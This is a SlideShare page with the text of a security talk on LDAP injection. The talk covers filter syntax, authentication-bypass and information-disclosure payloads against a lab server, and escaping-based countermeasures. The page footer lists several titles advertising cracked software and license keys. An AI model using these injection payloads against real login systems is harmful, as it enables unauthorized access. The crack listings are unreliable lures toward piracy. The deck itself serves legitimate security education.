SlideShare a Scribd company logo
6
Most read
7
Most read
8
Most read
LDAP Injection
Swapnil Jain
Date: 28 April 2020
#Who Am I
● Security Analyst
● Twitter @swapnil_jn
Overview
● LDAP Injection
● Authentication Bypass
● Demo
● Impact
● Securing Applications against LDAP Injection
LDAP Injection
The Lightweight Directory Access Protocol(LDAP) is used to store
information about users hosts, and many other objects.
LDAP injection is a type of attack on a web application where attackers
place code in a user input field in an attempt to gain unauthorized access
or information.
Basic LDAP Syntax
Common Operators:
● “=” (equal to)
● & (logical and)
● | (logical or)
● ! (logical not)
● * (wildcard)
Filter:
● (cn=sam)
● (cn=s*)
● (|(cn=s*)(cn=t*))
● (&(cn=s*)(sn=*d))
Normal Working
(&(cn=admin)(passwd=secret))
LDAP Server
Admin authenticated
Authentication Bypass
Username: admin)(&)),
Password: ignored
Web
Server
LDAP
Server
Directory Search
AdminSet Cookie:
PHPSESSIONID=admin
Test Case
● <input type="text" size=20
name="name">Enter the
Username to search for</input>
● Searchfilter="(cn="+name+")"
admin)(|(password=*) (cn=admin)(|(password=*) )
Authentication Bypass (Normal Request)
Payload Creation
Original Request :
http://10.90.100.50/ldap_lab/ldap/example2.php?name=hacker&password
=hacker
Payload : name=hacker)(cn=*))%00
Changed request:
http://10.90.100.50/ldap_lab/ldap/example2.php?name=hacker)(cn=*))%0
0&password=hacker
Authentication Bypass(Contd.)
Information Disclosure
Information Disclosure(Contd.)
Impact
● Authentication bypass
● Privilege escalation
● Information disclosure
Countermeasures
● LDAP special characters are safely escaped, including at least ( ) ! | & *
● Use Frameworks that Automatically Protect from LDAP Injection
○ LINQ to Active Directory provides LDAP encoding when building
LDAP queries.
● Least privilege
LDAP Injection
Thank You

More Related Content

PPTX
OWASP TOP 10 VULNERABILITIS
PDF
Regular Expression Injection
PPTX
Sql injection
PPTX
Sql injections - with example
PPTX
SQL Injection attack
PPTX
Hunting for APT in network logs workshop presentation
PDF
Sql Injection - Vulnerability and Security
PPTX
Introduction to Malware Analysis
OWASP TOP 10 VULNERABILITIS
Regular Expression Injection
Sql injection
Sql injections - with example
SQL Injection attack
Hunting for APT in network logs workshop presentation
Sql Injection - Vulnerability and Security
Introduction to Malware Analysis

What's hot (20)

PDF
Hacking With Nmap - Scanning Techniques
PPTX
NETWORK PENETRATION TESTING
PDF
Cross site scripting
PPTX
SSRF exploit the trust relationship
PPTX
Apache web service
PDF
SSRF workshop
PDF
Cross site scripting attacks and defenses
PPTX
OWASP Top 10 2021 Presentation (Jul 2022)
PPT
Sql injection
PDF
Introduction to Web Application Penetration Testing
PPTX
Understanding Cross-site Request Forgery
PDF
How fun of privilege escalation Red Pill2017
PPTX
Vulnérabilité des sites web
PPTX
Web Exploitation Security
PPTX
I hunt sys admins 2.0
PPTX
Trusts You Might Have Missed
PPTX
PSConfEU - Offensive Active Directory (With PowerShell!)
PDF
Sécurité des applications web: attaque et défense
PPTX
Cross Site Scripting ( XSS)
Hacking With Nmap - Scanning Techniques
NETWORK PENETRATION TESTING
Cross site scripting
SSRF exploit the trust relationship
Apache web service
SSRF workshop
Cross site scripting attacks and defenses
OWASP Top 10 2021 Presentation (Jul 2022)
Sql injection
Introduction to Web Application Penetration Testing
Understanding Cross-site Request Forgery
How fun of privilege escalation Red Pill2017
Vulnérabilité des sites web
Web Exploitation Security
I hunt sys admins 2.0
Trusts You Might Have Missed
PSConfEU - Offensive Active Directory (With PowerShell!)
Sécurité des applications web: attaque et défense
Cross Site Scripting ( XSS)
Ad

Similar to LDAP Injection (14)

PPTX
ldagwvwvbwbwvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvpinjection.pptx
PPTX
Secure Code Warrior - LDAP injection
PPTX
Ldap injection
PDF
LDAP Injection & Blind LDAP Injection in Web Applications
PDF
LDAP Injections & Blind LDAP Injections Paper
PDF
LDAP Injection Techniques
PDF
introduction to ldap
PPT
LDAP Injection & Blind LDAP Injection
PDF
Persistant Cookies and LDAP Injection
PDF
Ldap 121020013604-phpapp01
PDF
Ldap introduction (eng)
PDF
Do The Right Thing! How LDAP servers should help LDAP clients
PDF
Practical-LDAP-and-Linux
ldagwvwvbwbwvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvpinjection.pptx
Secure Code Warrior - LDAP injection
Ldap injection
LDAP Injection & Blind LDAP Injection in Web Applications
LDAP Injections & Blind LDAP Injections Paper
LDAP Injection Techniques
introduction to ldap
LDAP Injection & Blind LDAP Injection
Persistant Cookies and LDAP Injection
Ldap 121020013604-phpapp01
Ldap introduction (eng)
Do The Right Thing! How LDAP servers should help LDAP clients
Practical-LDAP-and-Linux
Ad

More from NSConclave (20)

PDF
RED-TEAM_Conclave
PPTX
Create a Custom Plugin in Burp Suite using the Extension
PPTX
IOT SECURITY ASSESSMENT Pentester's Approach
PPTX
Debugging Android Native Library
PPTX
Burp Suite Extension Development
PDF
Log Analysis
PDF
HTML5 Messaging (Post Message)
PDF
Node.js Deserialization
PDF
RIA Cross Domain Policy
PDF
Python Deserialization Attacks
PDF
Sandboxing
PDF
NoSql Injection
PDF
Thick Client Testing Advanced
PDF
Thick Client Testing Basics
PDF
Markdown
PDF
Docker 101
PDF
Security Architecture Consulting - Hiren Shah
PDF
OSINT: Open Source Intelligence - Rohan Braganza
PDF
Lets get started with car hacking - Ankit Joshi
PDF
Advanced Wireless Reconnaissance And Testing - Rohit Jadav
RED-TEAM_Conclave
Create a Custom Plugin in Burp Suite using the Extension
IOT SECURITY ASSESSMENT Pentester's Approach
Debugging Android Native Library
Burp Suite Extension Development
Log Analysis
HTML5 Messaging (Post Message)
Node.js Deserialization
RIA Cross Domain Policy
Python Deserialization Attacks
Sandboxing
NoSql Injection
Thick Client Testing Advanced
Thick Client Testing Basics
Markdown
Docker 101
Security Architecture Consulting - Hiren Shah
OSINT: Open Source Intelligence - Rohan Braganza
Lets get started with car hacking - Ankit Joshi
Advanced Wireless Reconnaissance And Testing - Rohit Jadav

Recently uploaded (20)

PDF
Autodesk AutoCAD Crack Free Download 2025
PDF
Navsoft: AI-Powered Business Solutions & Custom Software Development
PPTX
WiFi Honeypot Detecscfddssdffsedfseztor.pptx
PDF
Design an Analysis of Algorithms II-SECS-1021-03
PPTX
Why Generative AI is the Future of Content, Code & Creativity?
PDF
CapCut Video Editor 6.8.1 Crack for PC Latest Download (Fully Activated) 2025
PDF
Adobe Illustrator 28.6 Crack My Vision of Vector Design
PPTX
AMADEUS TRAVEL AGENT SOFTWARE | AMADEUS TICKETING SYSTEM
PDF
Internet Downloader Manager (IDM) Crack 6.42 Build 42 Updates Latest 2025
PDF
Website Design Services for Small Businesses.pdf
PPTX
history of c programming in notes for students .pptx
PDF
iTop VPN Free 5.6.0.5262 Crack latest version 2025
PPTX
Advanced SystemCare Ultimate Crack + Portable (2025)
PDF
Product Update: Alluxio AI 3.7 Now with Sub-Millisecond Latency
PDF
AI-Powered Threat Modeling: The Future of Cybersecurity by Arun Kumar Elengov...
PDF
Internet Downloader Manager (IDM) Crack 6.42 Build 41
PDF
AutoCAD Professional Crack 2025 With License Key
PDF
iTop VPN 6.5.0 Crack + License Key 2025 (Premium Version)
PPTX
Embracing Complexity in Serverless! GOTO Serverless Bengaluru
PDF
Salesforce Agentforce AI Implementation.pdf
Autodesk AutoCAD Crack Free Download 2025
Navsoft: AI-Powered Business Solutions & Custom Software Development
WiFi Honeypot Detecscfddssdffsedfseztor.pptx
Design an Analysis of Algorithms II-SECS-1021-03
Why Generative AI is the Future of Content, Code & Creativity?
CapCut Video Editor 6.8.1 Crack for PC Latest Download (Fully Activated) 2025
Adobe Illustrator 28.6 Crack My Vision of Vector Design
AMADEUS TRAVEL AGENT SOFTWARE | AMADEUS TICKETING SYSTEM
Internet Downloader Manager (IDM) Crack 6.42 Build 42 Updates Latest 2025
Website Design Services for Small Businesses.pdf
history of c programming in notes for students .pptx
iTop VPN Free 5.6.0.5262 Crack latest version 2025
Advanced SystemCare Ultimate Crack + Portable (2025)
Product Update: Alluxio AI 3.7 Now with Sub-Millisecond Latency
AI-Powered Threat Modeling: The Future of Cybersecurity by Arun Kumar Elengov...
Internet Downloader Manager (IDM) Crack 6.42 Build 41
AutoCAD Professional Crack 2025 With License Key
iTop VPN 6.5.0 Crack + License Key 2025 (Premium Version)
Embracing Complexity in Serverless! GOTO Serverless Bengaluru
Salesforce Agentforce AI Implementation.pdf

LDAP Injection